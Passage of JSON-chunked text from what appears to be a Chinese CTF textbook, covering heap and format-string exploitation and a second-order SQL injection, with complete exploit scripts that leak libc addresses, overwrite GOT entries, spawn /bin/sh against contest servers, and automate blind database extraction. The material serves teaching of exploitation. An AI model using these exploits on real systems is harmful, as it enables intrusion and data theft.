you'd like to submit with your order:\") io.write(message + \"\\n\") def show_cur_stats(io): #io.read_until(banner) io.write(\"5\\n\") def pwn(io): elf_info = get_elf_info(elf_path) print io.read_until(\"6. Exit!\\n\") scanf_got = 0x0804a258 func_use_got = scanf_got name = \"pxx\" description = \"nihao\" count_left = 3 for i in range(0x41 - count_left):#set add_count_size = 0x41 add_new_rifle(io, name, description)#node1 order_rifle(io)#delete all node next_ptr = func_use_got name = \"a\" * 27 + l32(next_ptr) #leak info description = \"description\" print len(description) #io.gdb_hint() add_new_rifle(io, name, description)#node1 overwrite node2 show_rifle(io) io.read_until(\"Description: \") io.read_until(\"Description: \") data = io.read(4) print hex(l32(data)) func_use_real_addr = l32(data) offset___isoc99_sscanf = 0x00061e10 offset_system = 0x0003e800 offset_func_use = offset___isoc99_sscanf is_know = True if is_know == False: offset_func_use = int(raw_input(\"offset_func_use:\"), 16) offset_system = int(raw_input(\"offset_system:\"), 16) libc_addr = func_use_real_addr - offset_func_use system_read_addr = libc_addr + offset_system next_ptr = 0x804a2a8 - 0x08 #message_addr fake node name = \"a\" * 27 + l32(0x0) name += l32(0x0) + l32(0x41) + l32(next_ptr) description = \"description\" print len(description) add_new_rifle(io, name, description)#node1 overwrite node2 name = \"pxx\" add_new_rifle(io, name, description)#alloc node2 set fake node3 description = l32(func_use_got) #io.gdb_hint() add_new_rifle(io, name, description)#alloc fakenode3 message = l32(system_read_addr) leave_message(io, message) io.write(\"/bin/sh;\\n\") io.interact(） io = get_io(target) pwn(io) 4.{RCTF-2015}Shaxian(PWN400) 程序中定义的结构体大致如图13-31所示。"},
    {"text": "图13-31 shaxian结构体 由图13-32可以看出，漏洞很明显，属于堆溢出，本来32字节的空间，可以读入60字节，导致覆盖了自身结构体中的next指针。 图13-32 shaxian关键溢出点反编译代码 信息泄露，通过覆盖next指针，使其指向任意地址，可以泄露出该地址处的内容。"},
    {"text": "信息泄露关键点反编译代码如图13-33所示。 图13-33 shaxian信息泄露关键点反编译代码 因为本程序中申请的堆大小都固定为0x28，所以采用fastbin的利用方法。"},
    {"text": "图13-34 fake chunk选址 可以发现，程序没有给libc，而且根据泄露的地址发现，本地libcdatabase也没有找到对应的库，没法找到泄露出来的atoi和system之间的偏移。"},
    {"text": "根据以前的经验，system地址与atoi相距并不远（atoi在前，system在后），而且这些库函数的地址大都比较规整，为0x10的整数倍，于是想出暴力破解的思路。"},
    {"text": "虽然偏移不会很大，但是为了节省时间，这里分了几个区段进行暴力破解，如从以0x0、0x5000、0xa000、0xc00开头的距离开始破解，最终求得偏移为0xe130，代码如下： import struct from zio import * #target = ('119.254.101.197',10000) #target = './shaxian' target = ('180.76.178.48', 23333) def input_info(io): io.read_until('Address:') io.writeline(l32(0)+l32(0x31)) io.read_until('number:') io.writeline('a'*244+l32(0x31)) def dian_cai(io, name, num): io.read_until('choose:') io.writeline('1') io.read_until('Jianjiao') io.writeline(name) io.read_until('?') io.writeline(str(num)) def sublit(io): io.read_until('choose:') io.writeline('2') def receipt(io, taitou): io.read_until('choose:') io.writeline('3') io.read_until('Taitou:') io.writeline(taitou) def review(io): io.read_until('choose:') io.writeline('4') def link_heap(io): io.read_until('choose:') io.writeline('4') io.read_until('2\\n') heap_ptr = l32(io.read(4)) print hex(heap_ptr) return heap_ptr def leak_lib(io): io.read_until('choose:') io.writeline('4') io.read_until('* ') d = io.readline().strip('\\n') return int(d, 10)&0xffffffff def pwn (target, dis): io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) #io = zio(target, timeout=10000, print_read=None, print_write=None) input_info(io) dian_cai(io, 'aaa', 1) read_got = 0x0804b010 atoi_got = 0x0804B038 #puts_got = 0x0804b02c payload = 'a'*32+l32(atoi_got-4) dian_cai(io, payload, 2) atoi_addr = link_heap(io) #system_addr = 0xf7e39190 #io.gdb_hint() payload2 = 'a'*32+l32(0x0804B1C0-8) dian_cai(io, payload2, 3) sublit(io) payload = 'a'*4+l32(atoi_got) offset_read = 0x000da8d0 offset_system = 0x0003e800 offset_puts = 0x000656a0 offset_atoi = 0x0002fbb0 print \"dis:\",hex(dis), \"com:\", hex(offset_system - offset_atoi) #libc_base = atoi_addr - offset_atoi #system_addr = libc_base + offset_system #system_addr = libc_base + offset_puts system_addr = atoi_addr + dis system_addr = struct.unpack(\"i\", l32(system_addr))[0] sublit(io) dian_cai(io, payload, system_addr) #io.writeline('/bin/cat /home/shaxian/flag') io.writeline('/bin/sh\\n') io.interact() #data = io.read(1024) data = io.read_until_timeout(1) if \"RCTF\" in data or \"No such file\" in data: print \"herre\" file_w = open(\"flga-4002\", 'w') data += \"dis:\" + hex(dis) + \"com:\" + hex(offset_system - offset_atoi) file_w.write(data) file_w.close() exit(0) else: io.close() #print \"ok:\" #io.interact() dis = 0x100 dis = 0xe130 while dis < 0xffffff: try: print hex(dis) pwn(target, dis) except Exception, e: pass else: pass finally: dis += 0x10 5.{XMAN夏令营练习题}levev6_x86(freenote-x86) 该题是32位程序，逻辑很简单，直接使用13.3.2节中介绍的unlink方法进行利用即可。"},
    {"text": "from zio import * target = \"./freenote_x86\" target = (\"pwn2.jarvisoj.com\", 9885) def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def list_note(io): io.read_until(\": \") io.writeline(\"1\") def new_note(io, length, content): io.read_until(\": \") io.writeline(\"2\") io.read_until(\": \") io.writeline(str(length)) io.read_until(\": \") io.write(content) def edit_note(io, index, length, content): io.read_until(\": \") io.writeline(\"3\") io.read_until(\": \") io.writeline(str(index)) io.read_until(\": \") io.writeline(str(length)) io.read_until(\": \") io.write(content) def delete_note(io, index): io.read_until(\": \") io.writeline(\"4\") io.read_until(\": \") io.writeline(str(index)) def pwn(io): new_note(io, 0x80, 'a'*0x80) new_note(io, 0x80, 'a'*0x80) new_note(io, 0x80, 'a'*0x80) new_note(io, 0x80, 'a'*0x80) new_note(io, 0x80, 'a'*0x80) delete_note(io, 1) delete_note(io, 3) edit_note(io, 0, 0x8C, \"a\"*0x8C) list_note(io) io.read_until(\"a\"*0x8C) data = io.read_until(\"\\n\")[:-1] print [c for c in data] heap_addr = l32(data[:4].ljust(4, \"\\x00\")) manager_addr = heap_addr-0xdb0 + 0x8 print \"heap_addr:\", hex(heap_addr) print \"manager_addr:\", hex(manager_addr) #node0 addr set node0_addr = manager_addr + 0x8 + 0xC * 0 + 0x8 #usefull code begin bits = 32#64 if bits == 32: p_func = l32 field_size = 4 else: p_func = l64 field_size = 8 p0 = p_func(0x0) p1 = p_func(0x81) p2 = p_func(node0_addr - 3 * field_size) p3 = p_func(node0_addr - 2 * field_size) node1_pre_size = p_func(0x80) node1_size = p_func(0x80 + 2 * field_size) data0 = p0 + p1 + p2 + p3 + \"\".ljust(0x80 - 4 * field_size, '1') + node1_pre_size + node1_size #edit node 0, over write node 1 edit_note(io, 0, len(data0), data0) #delete node 1 unlink node 0 delete_note(io, 1) #usefull code end strtol_got = 0x0804a2bc offset_strtol = 0x32bd0 strtol_plt = 0x080484c0 offset_system = 0x3e800 #remote offset_strtol = 0x34640 #strtol_plt = 0x0000000000400760 offset_system = 0x40310 payload = \"\" payload += l32(0x02) payload += l32(0x01) payload += l32(0x4) payload += l32(strtol_got) payload = payload.ljust(0x88, 'a') edit_note(io, 0, len(payload), payload) list_note(io) io.read_until(\"0. \") data = io.read_until(\"\\n\")[:-1] strtol_addr = l32(data[:4].ljust(4, '\\x00')) print \"strtol_addr:\", hex(strtol_addr) libc_base = strtol_addr - offset_strtol system_addr = libc_base + offset_system print \"system_addr:\", hex(system_addr) payload = \"\" payload += l32(system_addr) io.gdb_hint() edit_note(io, 0, len(payload), payload) io.read_until(\":\") io.writeline(\"/bin/sh;\") io.interact() io = get_io(target) pwn(io) 6.{{XMAN夏令营练习题}levev6-x64(freenote-x64) 该题是64位程序，逻辑很简单，直接使用13.3.2节中介绍的unlink方法进行利用即可。"},
    {"text": "未知 第14章 格式化字符串漏洞 14.1 基本概念 格式化字符串漏洞主要是针对一些格式化函数，如printf、sprintf、vsprintf等。这些格式化函数利用格式化字符串来指定串的格式，在格式串内部使用一些以“%”开头的格式说明符（format specifications）来占据一个位置，在后面的变参列表中提供相应的变量，最终函数就会使用相应位置的变量来代替那个说明符，产生一个调用者想要的字符串。 下面列出几个比较关键的参数格式。 ·%x(%lx)：替换为参数的值（十六进制）。 ·%p：替换为参数的值（指针形式）。 ·%s：替换为参数所指向内存的字符串。 ·%n：将格式化串中该特殊字符之前的字符数量写入参数中（获取地址的参数）。 下面简单了解下参数定位。 在正常的情况下，格式化字符串所需的参数是依次往后索引的，如“%p,%x”，其对应于第1、2个参数。 也有一些特殊情况，如“%d$m”形式：其中，d代表数字（1，2，…），用来定位参数列表中的第d个参数（从1开始算）；m为前面所述的关键参数格式之一（x，p，s，n，…）。 简单的示例代码如下： #include <stdio.h> int main() { int addr = 0xdeadbeef; printf(\"%p, %p\\n\", 1, 2, &addr); printf(\"%1$p\\n\", 1, 2, &addr); printf(\"%2$p\\n\", 1, 2, &addr); printf(\"%3$p\\n\", 1, 2, &addr); } x86下测试的最终结果如图14-1所示。 图14-1 printf函数的打印情况 printf(\"%p,%p\\n \", 1, 2, &addr); => 0x1,0x2 printf(\"%1$p\\n\", 1, 2, &addr); => 0x1 printf(\"%2$p\\n \", 1, 2, &addr); => 0x2 printf(\"%3$p\\n \", 1, 2, &addr); => 0xff867b5c （addr的内存地址）"},
    {"text": "未知 14.2 信息泄露与修改 1.原理 通常，格式化函数是一种变长参数函数，后面的参数需要根据栈的参数传递来进行释放，x86的参数全在栈上，x64的参数从第4个开始放在栈上。"},
    {"text": "所以如果实际参数数量小于所需的参数数量，则其依然会将对应位置的数值当成参数进行转换，从而引发格式化字符串漏洞。 由此可见，利用格式化字符串漏洞既能够泄露信息，又能够修改信息，功能比较强大。 2.信息泄露 利用格式化漏洞来进行泄露主要是利用格式化字符串的参数转换显示功能，示例代码如下： #include <stdio.h> int main() { printf(\"%p.%p.%p.%p.%p.%p.%p.%p\\n\"); printf(\"%4$p.%7$p\\n\"); printf(\"%4$x.%7$x\\n\"); printf(\"%4$s\\n\"); } x86测试示例代码结果如图14-2所示。"},
    {"text": "图14-2 x86程序运行输出效果 从结果可以看出，“%4$p.%7$p”分别与“%p.%p.%p.%p.%p.%p.%p.%p”中对应的第四和第七个参数是一样的。"},
    {"text": "从运行结果可以看出，“%4$p.%7$p”与“%p.%p.%p.%p.%p.%p.%p.%p”中对应的第七个参数是一样的，而第四个参数则不一样，虽然这两个参数用的都是同一个寄存器r8，但是由于调用了函数，所以寄存器的值发生了改变。"},
    {"text": "图14-3 x86程序函数栈状态 图14-4 x86程序地址对应的数据 图14-5 x64程序运行的输出效果 图14-6 x64程序函数栈状态 3.信息泄露的最基本技巧 无论是x86还是x64程序，后续参数都会存储在栈上，寻找参数时，是往栈底（地址变大）方向去寻找，而栈底方向依次存放的是当前函数、父函数及以上调用者的函数栈信息（参考第12章中的栈结构信息），所以在泄露信息时，一般除了泄露栈中本身存储的数据之外，还会在栈上布置一些数据来实现任意地址泄露。"},
    {"text": "示例代码如下： #include <stdio.h> char *global_str = \"show content\"; int func_2() { char buff2[0x20]; memset(buff2, '2', 0x20); //\"%27$p.%28$p.%47$p\" gets(buff2); printf(buff2); printf(\"\\n\"); } int func_1() { char buff1[0x20]; memset(buff1, '1', 0x20); memcpy(buff1, \"\\x01\\x02\\x03\\x04\\xe0\\x86\\x04\\x08\", 8); func_2(); } int main() { char buff0[0x20]; printf(\"%p\\n\", global_str); memset(buff0, '0', 0x20); memcpy(buff0, \"\\xef\\xbe\\xad\\xde\\xff\\xff\\xff\\xff\", 8); func_1(); } 上述代码运行结果如图14-7所示。"},
    {"text": "为了简化，这里只显示函数栈中buff数组变量相应的部分，栈对照图如图14-8所示。 可以看出，在func_2中调用printf函数时，本函数的buff2以及上层函数里面的buff1和buff0都在栈中，且通过图14-8中所示的索引“31、32、51”可以索引到前面设置的内存值，并将其显示出来。"},
    {"text": "图14-9 输入%28$s的程序输出情况 4.信息修改 信息修改主要是利用格式化字符串中的%n对参数进行写入，写入的值是格式化字符串中%n之前的字符数量。"},
    {"text": "修改内容控制：结合%c来修改成特定的值，如将“%100c”替换为宽度为100的字符，由于字符只有一个，其他部分由空格替代，示例说明如下。"},
    {"text": "val = 0;printf(\"%1991c%n\", '1', &val); => val = 1991 val = 0;printf(\"%1991c%3$n\", '1', 2, &val); => val = 1991 修改值时，如果宽度超过所规定的字节数，则其余部分（超出部分）会被舍去，代码如下： val = 0;printf(\"%16909060c%2$n\", '1', &val); => val = 16909060(0x01020304) val = 0;printf(\"%16909060c%2$hn\", '1', &val); => val = 772(0x0304) val = 0;printf(\"%16909060c%2$hhn\", '1', &val);=> val = 4(0x04) 修改时，如果修改的宽度没有超过原有的数据宽度，则其余部分保持不变，代码如下： val = 0x101;printf(\"%16909060c%2$hhn\", '1', &val);=> val = 260(0x104) 下面列举一个示例，代码如下： #include <stdio.h> int global_sign = 0; int main() { char buff[0x20]; printf(\"%p\\n\", &global_sign); gets(buff); printf(buff); printf(\"\\n\"); if (global_sign == 1) { printf(\"Hacked\\n\"); } else { printf(\"Normal\\n\"); } } 在上述代码中，正常逻辑会打印出Normal，但是存在printf格式化字符串漏洞，利用这个来实现任意地址写，改写全局变量global_sign的值为1，从而改变正常逻辑，打印出Hacked。"},
    {"text": "利用代码如下： from zio import * target = \"./fsb_modify_m32\" def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def pwn(io): data = io.read_until(\"\\n\")[:-1] addr = int(data, 16) payload = \"\" #payload += \"A\"*0x8 payload += \"%1c%11$n\" payload = payload.ljust(0x10, 'a') payload += l32(addr) io.writeline(payload) io.interact() io = get_io(target) pwn(io) 执行结果如图14-10所示。"},
    {"text": "但是这类情况存在格式化字符串漏洞，并且可以多次执行，示例代码如下： #include <stdio.h> void init_proc() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); } void get_buff(char *buff, int size, char end_ch) { int i; char tmp_ch; for (i = 0; i < size - 1; i++) { if (read(0, &tmp_ch, 1) <= 0) { printf(\"error\\n\"); exit(0); } if (tmp_ch == end_ch) break; buff[i] = tmp_ch; } buff[i] = '\\x00'; } int main() { char buff[16]; init_proc(); while (1) { printf(\">> \"); get_buff(buff, 16, '\\n'); if (memcmp(buff, \"exit\", 4) == 0) break; printf(\"<< \"); printf(buff); putchar('\\n'); } } 反汇编代码如图14-11所示。"},
    {"text": "可以看到，如果单用buff是不能修改任意地址内存的，所以需要多级指针来配合。 从图14-13中可以看出，存在多个位置可以利用，一般建议利用path多级指针。"},
    {"text": "path指针修改示意如图14-13所示。 图14-11 反汇编代码 图14-12 函数栈状态 图14-13 path指针指向示意图 path指针分为3级指针，path2→path1→path0→buff，由于改写内容使用的%s是改写所存地址指向的内容，即如果%s索引到path2处，则可改写其中存储的地址path1所指向的内容，即改写path0的值； 如果%s索引到path1，则可改写其中存储的地址path0所指向的内容，即改写buff的值。 修改链如下：通过path2的索引m2修改path0的值，通过path1的索引m1修改buff的值。 在这个过程中，path2和path1是无法修改的，由于修改了path0，其值决定了buff的修改位置，所以可以修改到buff的多个位置，即可以在buff处存储一个地址target。 然后，通过path0的索引m0修改target所指向的内存地址，实现任意地址写。"},
    {"text": "利用代码如下： from zio import * target = \"./sample_1\" def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def get_addr(io, index): io.read_until(\">> \") payload = \"\" payload += \"%%%d$p\"%index io.writeline(payload) io.read_until(\"<< \") data = io.read_until(\"\\n\")[:-1] addr = int(data, 16) return addr m2=0; m1=0; m0=0; path0_last_byte=0; def modify_index_byte(io, index, val): io.read_until(\">> \") payload = \"\" if val == 0: payload += \"%%%d$hhn\"%index else: payload += \"%%%dc%%%d$hhn\"%(val, index) io.writeline(payload) def modfiy_path_byte(io, offset, val): global m2, m1, m0, path0_last_byte #set path1_ptr lastbyte = offset modify_index_byte(io, m2, offset) #write data at path modify_index_byte(io, m1, val) def set_addr_at_path(io, addr): global m2, m1, m0, path0_last_byte data = l64(addr) for i in range(8): modfiy_path_byte(io, path0_last_byte+i, ord(data[i])) #rewind path ptr modify_index_byte(io, m2, path0_last_byte) #write anywhere def write_data(io, addr, data): global m0 for i in range(len(data)): set_addr_at_path(io, addr+i) modify_index_byte(io, m0, ord(data[i])) def pwn(io): global m2, m1, m0, path0_last_byte m2 = (0x7ffffffff488 - 0x7ffffffff450)/8 + 6 m1 = (0x7ffffffff558 - 0x7ffffffff450)/8 + 6 __libc_main_start_ret_index = (0x7ffffffff478 - 0x7ffffffff450)/8 + 6 stack_addr_index = (0x7ffffffff460 - 0x7ffffffff450)/8 + 6 path1_addr = get_addr(io, m2) path0_addr = get_addr(io, m1)&(~3) print hex(path0_addr) m0 = (path0_addr - path1_addr)/8 + m1 path0_last_byte = path0_addr&0xff __libc_main_start_ret_addr = get_addr(io, __libc_main_start_ret_index) #find by libc_database offset___libc_start_main_ret = 0x21ec5 offset_system = 0x0000000000044c40 offset_str_bin_sh = 0x17c09b # libc_base = __libc_main_start_ret_addr - offset___libc_start_main_ret system_addr = libc_base + offset_system binsh_addr = libc_base + offset_str_bin_sh #find by ROPgadget p_rdi_ret = 0x0000000000400a33 pp_ret = 0x0000000000400a30 stack_addr = get_addr(io, stack_addr_index) ret_rsp = stack_addr + (0x7ffffffff478 - 0x7ffffffff550) rop_data = \"\" rop_data += l64(p_rdi_ret) + l64(binsh_addr) rop_data += l64(system_addr) write_data(io, ret_rsp, l64(pp_ret)) write_data(io, ret_rsp+3*8, rop_data) #io.gdb_hint() io.read_until(\">> \") io.writeline(\"exit\") io.interact() io = get_io(target) pwn(io) 具体可参考14.2.2节。"},
    {"text": "由于格式化漏洞一次性利用所能做的事情很有限，很多时候程序需要先泄露，根据泄露计算出libc的基址后，再去改写。 但是格式化漏洞能够执行的次数有限（满足不了泄露、改写等），此时可以尝试改写一些特定位置来实现多次格式化漏洞。 1）已知程序栈地址，可以将程序返回地址改写为程序入口，在程序逻辑上构造循环，从而实现多次利用格式化字符串漏洞的目的。"},
    {"text": "这种情况通常是，能够实现部分地址写，如覆盖函数钩子指针或者函数got表等情况，但是无法实现任意地址泄露或者任意地址改写，此时将这些地址改写成printf函数，即可泄露出更多信息或者改写更多地址等。"},
    {"text": "未知 14.4 真题解析 14.4.1 {CCTF-2016}PWN3(PWN350) 这道题应该是三道PWN题中最简单的一道，是关于格式化字符串的，漏洞处如图14-15所示。 图14-15 PWN3漏洞点反编译代码 格式化在栈上，利用代码如下： from zio import * from pwn import * target = \"./pwn3\" elf_path = \"./pwn3\" target = (\"120.27.155.82\", 9000) def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def get_elf_info(elf_path): return ELF(elf_path) def put_file(io, name, content): io.read_until(\"ftp>\") io.writeline(\"put\") io.read_until(\":\") io.writeline(name) io.read_until(\":\") io.writeline(content) def dir_file(io): io.read_until(\"ftp>\") io.writeline(\"dir\") def get_file(io, name): io.read_until(\"ftp>\") io.writeline(\"get\") io.read_until(\":\") io.writeline(name) def pwn(io): #sample #elf_info = get_elf_info(elf_path) name = \"sysbdmin\" io.read_until(\"Name (ftp.hacker.server:Rainism):\") io.writeline() real_name = [chr(ord(c)-1) for c in name] real_name = \"\".join(real_name) io.writeline(real_name) malloc_got = 0x0804a024 puts_got = 0x0804a028 name = \"aaaa\" #content = \"AAAA\" + \"B\"*4 + \"C\"*4 + \"%7$x.\" content = l32(malloc_got) + \"%7$s....\" put_file(io, name, content) get_file(io, name) data = io.read_until(\"....\") print [c for c in data] malloc_addr = l32(data[4:8]) print \"malloc_addr:\", hex(malloc_addr) #local offset_malloc = 0x00076550 offset_system = 0x0003e800 #remote offset_malloc = 0x000766b0 offset_system = 0x00040190 libc_base = malloc_addr - offset_malloc system_addr = libc_base + offset_system print \"system_addr:\", hex(system_addr) addr_info = \"\" padding_info = \"\" system_addr_buff = l32(system_addr) offset = 4*4 begin_index = 7 for i in range(4): addr_info += l32(puts_got + i) val = ord(system_addr_buff[i]) count = val - offset if count <= 0: count += 0x100 padding_info += \"%%%dc\"%count + \"%%%d$hhn\"%(begin_index + i) offset = val name = \"/bin/sh;\" content = addr_info + padding_info put_file(io, name, content) io.gdb_hint() get_file(io, name) dir_file(io) io.interact() pass io = get_io(target) pwn(io) 未知 14.4.2 {RCTF-2015}nobug(PWN300) 从这道题的汇编代码中可以发现，其中有一个函数返回的地方修改了栈，跳入了函数sub_8048B32中（如图14-16所示），而该函数中有一个明显的格式化字符串（如图14-17所示）。 虽然格式化字符串不在栈上，但是格式化可以无限次使用。通过argv、argv0和path的指向关系，可以实现任意地址改写的效果。具体代码如下： 图14-16 nobug格式化漏洞反汇编代码 图14-17 nobug格式化漏洞反编译代码 from zio import * import base64 target = './nobug' target = ('180.76.178.48', 8888) def do_fmt(io, fmt): io.writeline(base64.encodestring(fmt)) d = io.readline().strip() io.readline() return d def write_any(io): d1 = do_fmt(io, '%31$p') argv0 = int(d1.strip('\\n'), 16) d2 = do_fmt(io, '%67$p') path = int(d2.strip('\\n'), 16) print hex(path) path = (path + 3) / 4 * 4 print hex(path) index3 = (path - argv0) / 4 + 67 strlen_got = 0x0804A030 addr = strlen_got for i in range(4): do_fmt(io, '%%%dc%%31$hhn' % ((path + i) & 0xff)) k = ((addr >> (i * 8)) & 0xff) if k != 0: do_fmt(io, '%%%dc%%67$hhn' % k) else: do_fmt(io, '%%67$hhn') addr = strlen_got + 2 for i in range(4): do_fmt(io, '%%%dc%%31$hhn' % ((path + 4 + i) & 0xff)) k = ((addr >> (i * 8)) & 0xff) if k != 0: do_fmt(io, '%%%dc%%67$hhn' % k) else: do_fmt(io, '%%67$hhn') d = do_fmt(io, \"%29$p\") libc_main = int(d, 16) print hex(libc_main) lib_base = libc_main - 0x00019A63 system = lib_base + 0x0003FCD0 systemlow = system&0xffff systemhigh = (system>>16)&0xffff do_fmt(io, \"%%%dc%%%d$hn%%%dc%%%d$hn\" %(systemlow, index3, systemhigh-systemlow, index3+1)) io.writeline('/bin/sh') def exp(target): io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) write_any(io) io.interact() exp(target)"},
    {"text": "未知 14.4.3 {LCTF-2016}PWN200 该题的漏洞也比较简单，漏洞点反汇编代码如图14-18所示。 图14-18 PWN200漏洞点反汇编代码 直接读取溢出能够覆盖dest的指针，然后通过strcpy就可以实现任意地址写了，首先可以将free改写成printf，实现任意地址泄露，然后通过在前面name栈中布置好地址，可以实现任意地址改写。 利用代码具体如下： from zio import * target = \"./pwn200\" target = (\"119.28.63.211\", 2333) def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def pwn(io): io.read_until(\"u?\\n\") #io.gdb_hint() read_got = 0x0000000000602038 free_got = 0x0000000000602018 atoi_got = 0x0000000000602060 strcpy_got = 0x0000000000602020 #name_addr : 0x7fffc87784f0 #rbp : 0x7fffc8778520 #money buff : 0x7fffc8778540 payload = \"\" payload += l64(read_got) payload += l64(strcpy_got+0) payload += l64(strcpy_got+2) payload += l64(free_got+0) io.writeline(payload) #io.write(\"1\"*48) #io.read_until('1'*48) #data = io.read_until(\", welcome\")[:-len(\", welcome\")] #rbp = l64(data[:8].ljust(8, '\\x00')) #print \"rbp:\", hex(rbp) io.read_until(\"?\\n\") io.writeline(\"123\") io.read_until(\"~\\n\") malloc_got = 0x0000000000602050 printf_plt = 0x0000000000400640 strcpy_plt = 0x0000000000400620 payload = \"\" payload += l64(printf_plt) payload = payload.ljust(56, '\\x00') payload += l64(free_got) io.write(payload) io.read_until(\"choice : \") io.writeline(\"2\") io.read_until(\"choice : \") io.writeline(\"1\") io.read_until(\"long?\\n\") io.writeline(str(0x80)) io.read_until(\" : \") io.read_until(\"\\n128\\n\") payload = \"\" payload += \"%26$s--..--\" io.write(payload) io.read_until(\"choice : \") io.writeline(\"2\") io.read_until(\"out~\\n\") data = io.read_until(\"--..--\")[:-6] read_addr = l64(data[:8].ljust(8, '\\x00')) print \"read_addr:\", hex(read_addr) offset_read = 0xeb530 offset_system = 0x44c40 offset_system = 0x00000000000468f0 offset_dup2 = 0x00000000000ece70 offset_read = 0x00000000000ec690 offset_write = 0x00000000000ec6f0 libc_base = read_addr - offset_read system_addr = libc_base + offset_system io.read_until(\"choice : \") io.writeline(\"1\") io.read_until(\"long?\\n\") io.writeline(str(0x80)) io.read_until(\" : \") io.read_until(\"\\n128\\n\") print \"system_addr:\", hex(system_addr) high_part = (system_addr&0xffff0000)>>16 low_part = system_addr&0x0000ffff if low_part > high_part: high_part += 0x10000 print hex(low_part) print hex(high_part) payload = \"\" payload += \"%%%dc%%29$hhn\"%(0x20) payload += \"%%%dc%%27$hn\"%(low_part-0x20) payload += \"%%%dc%%28$hn\"%(high_part - low_part) print payload io.write(payload) io.read_until(\"choice : \") io.gdb_hint() io.writeline(\"2\") io.read_until(\"choice : \") io.writeline(\"1\") io.read_until(\"long?\\n\") io.writeline(str(0x80)) io.read_until(\" : \") io.read_until(\"\\n128\\n\") io.writeline(\"/bin/sh;\") io.read_until(\"choice : \") io.writeline(\"2\") io.interact() io = get_io(target) pwn(io) 未知 第15章 整型漏洞 整型漏洞主要是指发生在整型数据上的漏洞，传统的整型溢出是指试图保存的数据超过整型数据的宽度时发生的溢出。这里将针对CTF赛题类型，主要从3个方面进行介绍，包括整型数据宽度溢出、符号转换、index数组越界等。"},
    {"text": "未知 2.6 二次注入 二次注入的起因是数据在第一次入库的时候进行了一些过滤及转义，当这条数据从数据库中取出来在SQL语句中进行拼接，而在这次拼接中没有进行过滤时，我们就能执行构造好的SQL语句了。 由于二次注入的业务逻辑较为复杂，在比赛中一般很难发现，所以出题人一般会将源码放出来，或者提示本题有二次注入。 在二次注入的题目中，一般不会是单纯的二次注入，通常还会与报错注入或Bool盲注结合出题。比如，在注册页面输入的用户名在登录后才有盲注的回显，这时候我们需要自己编写脚本模拟注册及登录。 下面列举一个二次注入中包含盲注的例子（2016年西电信安协会的l-ctf），简单描述下当时的题目。存在用户的登录与注册页面，登录后可以修改用户的头像，判断注入的点也就是这个头像是否有显示。如果注册时用户名构造的Payload为真，则可以在页面收到回显的头像的地址，反之则没有。因为在测试时发现头像的链接很长，所以我们用页面返回长度来确定盲注结果，下面是当时写的漏洞利用代码，我们在代码的注释中解释了每条语句的原理： #!/usr/bin/env python # coding: UTF-8 ( \"げ \") __author__ = 'T1m0n' import requests def getdata(pos, payload_chr): ''' :param pos: 盲注点 :param payload_chr: 字符串 :return: 如果pos位置是payload_chr，则返回payload_chr，反之则返回空 ''' # 当时网络环境比较差，经常出现502的情况，当返回502或者其他信息时，使用try再次执行本函数 try: # 用户名 注意看后面的payload，这里的payload的意义为返回第一个数据库，并按位截取 user = 'zaaa\\'/**/and/**/ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1),%d,1))=%d/**/and/**/\\'1\\'=\\'1'% (pos,ord(payload_chr)) # 密码，只在登录时起作用 passwd = 'aaaaaa' # 注册机登录的url url_login = 'http://web.l-ctf.com:55533/check.php' # 注册时post的数据 resign_data = { 'user': user, 'pass': passwd, 'vrtify': '1', 'typer': '0', 'register': '%E6%B3%A8%E5%86%8C', } # 负责发送注册请求 r0 = requests.post(url_login, resign_data) r0.close() # 登录刚才注册的账号 login_data = { 'user': user, 'pass': passwd, 'vrtify': '1', 'typer': '0', 'login': '%E7%99%BB%E9%99%86', } r1 = requests.post(url_login, login_data) # 截取返回头中的cookie，方便我们进入下一步的登录用户中心 cookie = r1.headers['Set-Cookie'].split(';')[0] r1.close() # 用户中心登录 url_center = 'http://web.l-ctf.com:55533/ucenter.php' headers = {'cookie': cookie} # 登录用户中心 r2 = requests.get(url_center, headers=headers) res = r2.content # 如果返回的长度大于700，则证明这个位置的字符串是正确的，并返回这个字符串；如果小于700，则返回空 if len(res) > 700: print payload_chr, ord(payload_chr) return payload_chr else: print '.', return '' except: getdata(pos, payload_chr) if __name__ == '__main__': payloads = 'abcdefghijklmnopqrstuvwxyz1234567890@_{},' res = '' for pos in range(1, 20): for payload in payloads: res += getdata(pos, payload) print res # 附上当时的注入结果 # user--lctf # database--web_200 # table -- user # column -- d,admin,pass 当然，这只是获取flag过程中的一部分，但也是关键的一部分。 在遇到类似思路比较复杂的二次注入题目的时候，我们更要冷静地分析，不断地尝试，这样才能挖到题目的考点，从而达到获取flag的目的。"},
